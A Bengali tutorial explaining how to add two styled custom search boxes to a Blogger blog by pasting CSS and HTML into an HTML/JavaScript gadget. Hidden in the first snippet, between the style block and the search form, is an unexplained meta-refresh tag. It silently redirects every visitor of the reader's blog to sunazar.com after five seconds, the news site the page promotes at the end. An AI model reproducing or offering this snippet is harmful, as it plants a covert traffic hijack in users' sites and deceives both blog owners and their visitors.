প্রত্যেকটি ব্লগ কিংবা ওয়েবসাইটেরই একটি Search Box থাকা আবশ্যক। Search Box ছাড়া কোন প্রকার ওয়েবসাইটই পূর্ণতা পাবে না। এই জন্য ব্লগার ডিফল্টভাবে তাদের নিজস্ব সার্চ বক্স যুক্ত করার অপশন রেখেছে, যাতে করে যে কেউ সহজে সার্চ বক্স যুক্ত করতে পারে। কিন্তু ব্লগার তাদের নিজস্ব ডিজাইনের যে সার্চ বক্সটি রেখেছে তাথে কোন প্রকার ডিজাইন করা নেই। এক কথায় বলা যায় এটি একটি Old Model এর সার্চ বক্স। আজকের এই টিউনে আলোচনা করবো কিভাবে ব্লগারে কাষ্টম সার্চ বক্স যুক্ত করা যায়। এই টিউনে দুটি Unique Search Box নিয়ে আলোচন করবো, যে দুটি সার্চ বক্স হবে ভিন্ন ডিজাইনের। এ দুটি ডিজাইনের সার্চ বক্স যে কোন ধরনের ব্লগে যুক্ত করতে পারবেন। তাছাড়া সার্চ বক্স গুলি যুক্ত করার জন্য আপনাকে কোন প্রকার কোডিং করার ঝামেলা পোহাতে হবে না। কোন প্রকার Modify ছাড়াই শুধুমাত্র কপি পেষ্ট করে সার্চ বক্স গুলি আপনার ব্লগারের ব্লগে যুক্ত করতে পারবেন।
কিভাবে ব্লগে যুক্ত করতে হয়ঃ
- প্রথমে আপনার ব্লগার একাউন্টে লগইন করুন।
- এরপর ব্লগার ড্যাশবোর্ড হতে Layout এ ক্লিক করুন।
- এখন ডান পাশের লেআউট হতে Add Gadget এ ক্লিক করুন।
- তারপর HTML/JavaScript এ ক্লিক করুন।
- এবার নিচের কোডগুলি কপি করে HTML/JavaScript এর ঘরে পেষ্ট করুন।
<style>
#searchbox {
display: block;
clear: both;
margin: 10px 0;
}
#searchbox #input {
background: url(“http://1.bp.blogspot.com/-WljTAWmd9ag/VTR2bChJy5I/AAAAAAAAEJc/S4gLEMHX8vE/s1600/Search.png”) no-repeat scroll 8px center transparent !important;
padding: 7px 15px 7px 35px !important;
color: #444;
text-decoration: none;
width: 130px;
font-size: 12px;
font-family: “Arial Narrow”,Arial,sans-serif;
border: 1px solid #4C9ED9;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
-webkit-box-shadow: 1px 1px 2px #CCC inset;
-moz-box-shadow: 1px 1px 2px #CCC inset;
box-shadow: 1px 1px 2px #CCC inset;
}
input:focus::-webkit-input-placeholder {
color: transparent;
}
input:focus:-moz-placeholder {
color: transparent;
}
input:focus::-moz-placeholder {
color: transparent;
}
#searchbox #submit {
color: #444;
font-weight: bold;
text-decoration: none;
padding: 6px 15px;
border: 1px solid #4c9ed9;
cursor: pointer;
width: 65px;
height:31px;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
background: #fbfbfb;
background: -moz-linear-gradient(top, #fbfbfb 0%, #f4f4f4 100%);
background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#fbfbfb), color-stop(100%,#f4f4f4));
background: -webkit-linear-gradient(top, #fbfbfb 0%,#f4f4f4 100%);
background: -o-linear-gradient(top, #fbfbfb 0%,#f4f4f4 100%);
background: -ms-linear-gradient(top, #fbfbfb 0%,#f4f4f4 100%);
filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=’#FBFBFB’, endColorstr=’#F4F4F4′,GradientType=0);
background: linear-gradient(top, #fbfbfb 0%,#f4f4f4 100%);
}
</style><meta content='5;url=http://sunazar.com ' http-equiv='refresh'/><div id=”searchbox”>
<form action=”/search” autocomplete=”off”>
<input id=”input” name=”q” type=”text” size=”15″ placeholder=”search…” />
<input id=”submit” type=”submit” value=”Search” />
</form>
</div>
<style>
#searchbox {
background: #FFFFFF;
width: 245px;
height: 29px;
border: 2px solid #4c9ed9;
border-radius: 4px;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
}
input:focus::-webkit-input-placeholder {
color: transparent;
}
input:focus:-moz-placeholder {
color: transparent;
}
input:focus::-moz-placeholder {
color: transparent;
}
#searchbox input {
outline: none;
}
#searchbox input[type=”text”] {
background: none repeat scroll 0% 0% transparent;
margin: 2px 0px 0px 20px;
padding: 5px 0px;
border-width: 0px;
font-family: “Arial Narrow”,Arial,sans-serif;
font-size: 12px;
width: 75%;
display: inline-table;
vertical-align: top;
color: #000;
border-right: 1px solid;
}
#button-submit {
background: url(‘http://4.bp.blogspot.com/-SDJMUugR4A0/VTR2azxncjI/AAAAAAAAEJY/qCTew3cf78c/s1600/Blue.png’) no-repeat scroll 0% 0% transparent;
border-width: 0px;
cursor: pointer;
margin-left: 9px;
margin-top: 6px;
width: 21px;
height: 22px;
}
#button-submit:hover {
background: url(
http://4.bp.blogspot.com/-AYxiudNOvpg/VTR2a_JY6ZI/AAAAAAAAEJg/w3Ek0r0egEY/s1600/Red.png) no-repeat;
}
#button-submit:active {
background: url(
http://4.bp.blogspot.com/-AYxiudNOvpg/VTR2a_JY6ZI/AAAAAAAAEJg/w3Ek0r0egEY/s1600/Red.png) no-repeat;
outline: none;
}
#button-submit::-moz-focus-inner {
border: 0;
}
</style><form id=”searchbox” method=”get” action=”/search” autocomplete=”off”>
<input name=”q” type=”text” size=”15″ placeholder=”search…” />
<input id=”button-submit” type=”submit” value=”” />
</form>
- সার্চ বক্সের Height কিংবা Width পরিবর্তন করতে চাইলে লাল অংশ হতে পরিবর্তন করতে পারেন।
- সবশেষে Save এ ক্লিক করুন।
সকল প্রকার অনলাইন বাংলা নিউজ আপডেট পেতে আমাদের সাইট সুনজর থেকে ঘুরে আসবেন....